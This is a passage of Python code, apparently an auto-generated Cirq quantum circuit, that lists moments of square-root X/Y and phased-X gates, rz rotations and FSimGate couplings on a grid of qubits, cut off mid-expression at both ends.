(cirq.Y**0.5).on(cirq.GridQubit(0, 5)), (cirq.Y**0.5).on(cirq.GridQubit(0, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 4)), (cirq.X**0.5).on(cirq.GridQubit(1, 5)), (cirq.Y**0.5).on(cirq.GridQubit(1, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 4)), (cirq.X**0.5).on(cirq.GridQubit(2, 5)), (cirq.X**0.5).on(cirq.GridQubit(2, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.X**0.5).on(cirq.GridQubit(3, 2)), (cirq.Y**0.5).on(cirq.GridQubit(3, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 5)), (cirq.X**0.5).on(cirq.GridQubit(3, 6)), (cirq.Y**0.5).on(cirq.GridQubit(3, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 8)), (cirq.X**0.5).on(cirq.GridQubit(4, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 2)), (cirq.X**0.5).on(cirq.GridQubit(4, 3)), (cirq.X**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 6)), (cirq.Y**0.5).on(cirq.GridQubit(4, 7)), (cirq.Y**0.5).on(cirq.GridQubit(5, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 2)), (cirq.X**0.5).on(cirq.GridQubit(5, 3)), (cirq.X**0.5).on(cirq.GridQubit(5, 4)), (cirq.Y**0.5).on(cirq.GridQubit(5, 5)), (cirq.Y**0.5).on(cirq.GridQubit(5, 6)), (cirq.Y**0.5).on(cirq.GridQubit(5, 7)), (cirq.Y**0.5).on(cirq.GridQubit(6, 1)), (cirq.Y**0.5).on(cirq.GridQubit(6, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 4)), (cirq.X**0.5).on(cirq.GridQubit(6, 5)), (cirq.X**0.5).on(cirq.GridQubit(6, 6)), (cirq.Y**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), (cirq.Y**0.5).on(cirq.GridQubit(7, 5)), (cirq.X**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -5.865975624866123).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 5.912958427369866).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -17.867868884042345).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 17.87049728934488).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -17.622485552499665).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 17.602988862096296).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 11.206366769065067).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -11.499232369531354).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -15.28470806725993).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 15.329888267898626).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 9.27528847613456).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -9.250287607594759).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -14.50235236667596).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 14.544090864144218).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 7.019954522972137).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -7.066266520580219).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -13.842047663366333).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 13.881335880513822).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -7.765941989655391).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 7.786825603456883).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 3.001137480344569).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -2.8980279413275123).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 5.509227495500649).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -5.792084333301517).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 7.868086032823645).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -7.793090130850194).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -16.218582817568983).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 16.299782783273404).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * 4.3863074183418185).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -4.487034178043276).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5454967174552687, phi=0.5074540278986153).on( cirq.GridQubit(0, 5), cirq.GridQubit(0, 6)), cirq.FSimGate(theta=1.5233234922971755, phi=0.6681144400379464).on( cirq.GridQubit(1, 5), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5644541080112795, phi=0.5439498075085039).on( cirq.GridQubit(2, 5), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5866139110090092, phi=0.5693597810559818).on( cirq.GridQubit(2, 7), cirq.GridQubit(2, 8)), cirq.FSimGate(theta=1.541977006124425, phi=0.6073798124875975).on( cirq.GridQubit(3, 5), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5573072833358306, phi=0.5415514987622351).on( cirq.GridQubit(3, 7), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.5345751514593928, phi=0.472462117170605).on( cirq.GridQubit(4, 1), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.5138652502397498, phi=0.47710618607286504).on( cirq.GridQubit(4, 3), cirq.GridQubit(4, 4)), cirq.FSimGate(theta=1.5849169442855044, phi=0.54346233613361).on( cirq.GridQubit(4, 5), cirq.GridQubit(4, 6)), cirq.FSimGate(theta=1.4838884067961586, phi=0.5070681071136852).on( cirq.GridQubit(5, 1), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.5398075246432927, phi=0.5174515645943538).on( cirq.GridQubit(5, 3), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.4902099797510393, phi=0.4552057582549894).on( cirq.GridQubit(6, 1), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5376836849431186, phi=0.46265685930712236).on( cirq.GridQubit(6, 3), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.555185434982808, phi=0.6056351386305033).on( cirq.GridQubit(6, 5), cirq.GridQubit(6, 6)), cirq.FSimGate(theta=1.4749003996237158, phi=0.4353609222411594).on( cirq.GridQubit(7, 3), cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 5.477287511969221).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -5.430304709465478).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 18.225856052586064).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -18.223227647283533).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 17.655139057028).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -17.674635747431363).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -10.591776080470469).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 10.298910480004182).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 15.852199817881967).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -15.80701961724327).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -9.090152260365358).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 9.11515312890516).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 13.700045044703652).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -13.658306547235396).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -7.538336273583833).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 7.492024275975751).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 13.968508849527241).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -13.929220632379753).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 6.861064422304347).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -6.840180808502855).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -3.771658529535837).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 3.874768068552894).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -3.800913502275713).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 3.5180566644748446).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -7.9036364710757425).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 7.978632373049194).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 17.0915408373009).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -17.01034087159648).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * -4.825583222537869).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 4.724856462836412).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ (cirq.X**0.5).on(cirq.GridQubit(0, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 5)), (cirq.X**0.5).on(cirq.GridQubit(1, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 6)), (cirq.X**0.5).on(cirq.GridQubit(2, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), (cirq.X**0.5).on(cirq.GridQubit(3, 3)), (cirq.Y**0.5).on(cirq.GridQubit(3, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), (cirq.Y**0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 5)), (cirq.X**0.5).on(cirq.GridQubit(4, 6)), (cirq.X**0.5).on(cirq.GridQubit(4, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 1)), (cirq.X**0.5).on(cirq.GridQubit(5, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 3)), (cirq.Y**0.5).on(cirq.GridQubit(5, 4)), (cirq.X**0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 7)), (cirq.X**0.5).on(cirq.GridQubit(6, 1)), (cirq.X**0.5).on(cirq.GridQubit(6, 2)), (cirq.X**0.5).on(cirq.GridQubit(6, 3)), (cirq.X**0.5).on(cirq.GridQubit(6, 4)), (cirq.Y**0.5).on(cirq.GridQubit(6, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 6)), (cirq.X**0.5).on(cirq.GridQubit(7, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 5)), (cirq.Y**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 8.044385426555426).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -8.083380595470867).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -5.783380074002775).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 5.546523606048641).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -15.816295096608934).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 15.811833422443211).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -13.3598687747566).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 13.249156584109453).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -4.127807240413703).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 4.082519238690215).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -5.421612643757122).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 5.42765340313407).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -21.179392694559272).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 21.166389776352954).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -13.252932498710596).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 13.24022142293596).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -8.162692838556204).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 8.223006443218978).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -12.938755870544817).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 12.965256899048683).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -12.724144773112773).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 12.73446915351482).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 11.027652291347495).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -10.570577602838458).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 7.6694399461790255).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -7.7088364909653455).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 17.082146626922658).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -17.06476602620025).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 14.58087327851535).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -14.563378195920992).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 10.871739079510629).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -11.050778817008649).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * 14.00817849447214).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -14.087525609076494).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.4937034321050129, phi=0.5388459463555662).on( cirq.GridQubit(0, 5), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5015413274420961, phi=0.51076415920643).on( cirq.GridQubit(0, 6), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5588791081427968, phi=0.559649620487243).on( cirq.GridQubit(2, 5), cirq.GridQubit(3, 5)), cirq.FSimGate(theta=1.5907035825834708, phi=0.5678223287662552).on( cirq.GridQubit(2, 6), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5296321276792553, phi=0.537761951313038).on( cirq.GridQubit(2, 7), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.619276265426104, phi=0.48310297196088736).on( cirq.GridQubit(2, 8), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.6116663075637374, phi=0.5343172366969327).on( cirq.GridQubit(4, 1), cirq.GridQubit(5, 1)), cirq.FSimGate(theta=1.5306030283605572, phi=0.5257102080843467).on( cirq.GridQubit(4, 2), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.589821065740506, phi=0.5045391214115686).on( cirq.GridQubit(4, 3), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5472406430590444, phi=0.5216932173558055).on( cirq.GridQubit(4, 4), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.5124128267683938, phi=0.5133142626030278).on( cirq.GridQubit(4, 5), cirq.GridQubit(5, 5)), cirq.FSimGate(theta=1.5707871303628709, phi=0.5176678491729374).on( cirq.GridQubit(4, 6), cirq.GridQubit(5, 6)), cirq.FSimGate(theta=1.5337916352034444, phi=0.5123546847230711).on( cirq.GridQubit(4, 7), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.596346344028619, phi=0.5104319949477776).on( cirq.GridQubit(6, 2), cirq.GridQubit(7, 2)), cirq.FSimGate(theta=1.53597466118183, phi=0.5584919013659856).on( cirq.GridQubit(6, 3), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.385350861888917, phi=0.5757363921651084).on( cirq.GridQubit(6, 4), cirq.GridQubit(7, 4)), cirq.FSimGate(theta=1.614843449053755, phi=0.5542252229839564).on( cirq.GridQubit(6, 5), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -8.908246745659781).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 8.869251576744341).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 6.283590676347165).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -6.520447144301299).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 16.126615138480055).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -16.131076812645777).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 14.142506057270092).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -14.253218247917241).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 4.924729485113265).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -4.9700174868367535).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 6.6580043579049155).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -6.651963598527967).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 21.61248038813089).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -21.625483306337212).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 12.581705877923879).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -12.594416953698515).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 7.826508725663096).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -7.7661951210003215).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 12.014531408750791).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -11.988030380246926).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 11.590471496440383).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -11.580147116038336).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -11.55701654221442).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 12.014091230723457).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -7.662724143723925).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 7.623327598937605).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -15.693287261948884).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 15.710667862671292).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -14.640627714067872).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 14.658122796662232).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -10.271185992592658).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 10.092146255094638).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -14.265609363423946).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 14.186262248819594).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ (cirq.Y**0.5).on(cirq.GridQubit(0, 5)), (cirq.X**0.5).on(cirq.GridQubit(0, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 4)), (cirq.Y**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 4)), (cirq.Y**0.5).on(cirq.GridQubit(2, 5)), (cirq.X**0.5).on(cirq.GridQubit(2, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.X**0.5).on(cirq.GridQubit(3, 2)), (cirq.Y**0.5).on(cirq.GridQubit(3, 3)), (cirq.X**0.5).on(cirq.GridQubit(3, 5)), (cirq.Y**0.5).on(cirq.GridQubit(3, 6)), (cirq.X**0.5).on(cirq.GridQubit(3, 7)), (cirq.X**0.5).on(cirq.GridQubit(3, 8)), (cirq.X**0.5).on(cirq.GridQubit(4, 1)), (cirq.Y**0.5).on(cirq.GridQubit(4, 2)), (cirq.X**0.5).on(cirq.GridQubit(4, 3)), (cirq.Y**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), (cirq.Y**0.5).on(cirq.GridQubit(4, 6)), (cirq.Y**0.5).on(cirq.GridQubit(4, 7)), (cirq.X**0.5).on(cirq.GridQubit(5, 1)), (cirq.Y**0.5).on(cirq.GridQubit(5, 2)), (cirq.Y**0.5).on(cirq.GridQubit(5, 3)), (cirq.X**0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), (cirq.Y**0.5).on(cirq.GridQubit(5, 6)), (cirq.Y**0.5).on(cirq.GridQubit(5, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 3)), (cirq.Y**0.5).on(cirq.GridQubit(6, 4)), (cirq.X**0.5).on(cirq.GridQubit(6, 5)), (cirq.Y**0.5).on(cirq.GridQubit(6, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 2)), (cirq.X**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), (cirq.Y**0.5).on(cirq.GridQubit(7, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -19.484134780175637).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 19.523987288909453).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -4.706584587366488).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 4.709081406888329).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -4.644078115073251).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 4.639398026235451).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 4.902125678549236).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -4.908456163642546).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 21.92168532545182).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -21.88587507115056).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 26.023597923836856).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * -26.106962907913907).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 8.370562501914259).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -8.461596611893802).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 10.100639843256841).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -10.099314675186001).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 18.263937308298605).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -18.247908941862203).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 4.303481743922509).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -4.595908389782827).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 20.40623181672889).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -20.409639326033993).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 13.138499004273484).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -13.02570710190338).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 19.994449091768548).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -20.069061909163636).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 13.831104618355031).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -13.786606163793484).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -15.932071921009928).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 16.237358555270973).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * -15.051306761471112).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 15.009685791226179).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5423469235530667, phi=0.5388088498512879).on( cirq.GridQubit(1, 4), cirq.GridQubit(2, 4)), cirq.FSimGate(theta=1.5684106752459124, phi=0.5414007317481024).on( cirq.GridQubit(1, 5), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.6152322695478165, phi=0.5160697976136035).on( cirq.GridQubit(1, 6), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5040835324508275, phi=0.6761565725975858).on( cirq.GridQubit(1, 7), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5144175462386844, phi=0.4680444728781228).on( cirq.GridQubit(3, 2), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.4668587973263782, phi=0.4976074601121169).on( cirq.GridQubit(3, 3), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.603651215218248, phi=0.46649538437100246).on( cirq.GridQubit(3, 5), cirq.GridQubit(4, 5)), cirq.FSimGate(theta=1.6160334279232749, phi=0.4353897326147861).on( cirq.GridQubit(3, 6), cirq.GridQubit(4, 6)), cirq.FSimGate(theta=1.5909523830878005, phi=0.5244700889486827).on( cirq.GridQubit(3, 7), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.2635580943707443, phi=0.3315124918059815).on( cirq.GridQubit(5, 1), cirq.GridQubit(6, 1)), cirq.FSimGate(theta=1.5245711693927642, phi=0.4838906581970925).on( cirq.GridQubit(5, 2), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5542388360689805, phi=0.5186534637665338).on( cirq.GridQubit(5, 3), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5109427139358562, phi=0.4939388316289224).on( cirq.GridQubit(5, 4), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.57896484905089, phi=0.5081656554152614).on( cirq.GridQubit(5, 5), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.5287198766338426, phi=0.5026095497404074).on( cirq.GridQubit(5, 6), cirq.GridQubit(6, 6)), cirq.FSimGate(theta=1.501781688539034, phi=0.46799927805932284).on( cirq.GridQubit(7, 3), cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 19.672207801277334).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -19.632355292543515).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 4.777874433792896).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -4.775377614271054).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 4.198995232832642).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -4.203675321670441).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -5.321807436079611).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 5.315476950986302).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -21.072491731044448).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 21.1083019853457).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -25.79725021952863).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 25.713885235451578).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -10.07786364079744).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 9.986829530817898).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -11.191871460773655).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 11.193196628844492).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -18.61869305225248).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 18.63472141868888).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -5.067815524796681).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 4.775388878936363).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -20.83856101076621).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 20.835153501461107).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 